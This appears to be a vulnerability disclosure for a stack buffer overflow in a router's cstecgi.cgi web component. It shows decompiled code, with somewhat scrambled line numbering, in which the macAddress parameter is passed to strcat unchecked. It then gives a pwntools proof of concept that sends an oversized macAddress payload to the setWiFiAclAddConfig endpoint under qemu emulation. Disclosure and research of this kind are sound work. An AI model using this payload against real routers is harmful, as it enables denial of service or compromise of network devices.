

The vulnerability exists in the router's WEB component. /web_cste/cgi-bin/cstecgi.cgi FUN_0041b448 (at address 0x41b448) gets the json parameter macAddress but doesn't check it's length, a stack overflow occurs by calling strcat function directly to concatenate it into a local variables on the stack:

```
🔓 Decompile: FUN_0041b448 - (cstecgi_not_test.cgi)
 70
        local_34 = 0;
71
        local_30 = 0;
72
        local_2c = 0;
73
        local_28 = 0;
 74
        local_24 = 0;
 75
        local_20 = 0;
       pcVar1 = (char *)websGetVar(param_1,"macAddress","");
 76
 77
        __s = (char *)websGetVar(param_1,"comment","");
78
        apmib_get(0x35,&local_120);
 79
        if (0x14 < local_120 + 1) {
 80
          return 0;
81
        if (pcVar1 != (char *)0x0) {
82
          pcVar1 = strtok(pcVar1,":");
83
          if (pcVar1 == (char *)0x0) {
 84
 85
            return 0;
 86
 87
          strcat((char *)&local_3c,pcVar1);
 88
          while (pcVar1 = strtok((char *)0x0,":"), pcVar1 != (char *)0x0) {
 89
            strcat((char *)&local_3c,pcVar1);
90
          string_to_hex((char *)&local_3c,&lStack92);
91
92
        if (*__s == '\0') {
93
          local_56[0] = '\0';
94
95
        else {
96
          sVar3 = strlen(__s);
 97
98
          if (0x13 < sVar3) {</pre>
99
            *(undefined2 *)(_s + 0x28) = 0;
100
101
          strcpy(local_56,__s);
102
```

As can be seen from the image above, after the parameter <code>macAddress</code> is obtained, it is segmented with ":" and the segmented string is spliced into the local variable local_3c.

POC

```
from pwn import *
import json

data = {
    "topicurl": "setting/setWiFiAclAddConfig",
    "wifiIdx": "0",
    "addEffect": "0",
    "comment": "AAA",
    "macAddress": "A"*0x200 + ":" + "A"*0x100 + ":A:A"
}
data = json.dumps(data)
print(data)

argv = [
    "qemu-mips-static",
    "-L", "./lib",
    "-E", "LD_PRELOAD=./hook.so",
```

```
"-E", "CONTENT_LENGTH={}".format(len(data)),
    "-E", "REMOTE_ADDR=192.168.2.1",
    "./cstecginew.cgi"
]

a = process(argv=argv)

a.sendline(data.encode())

a.interactive()
```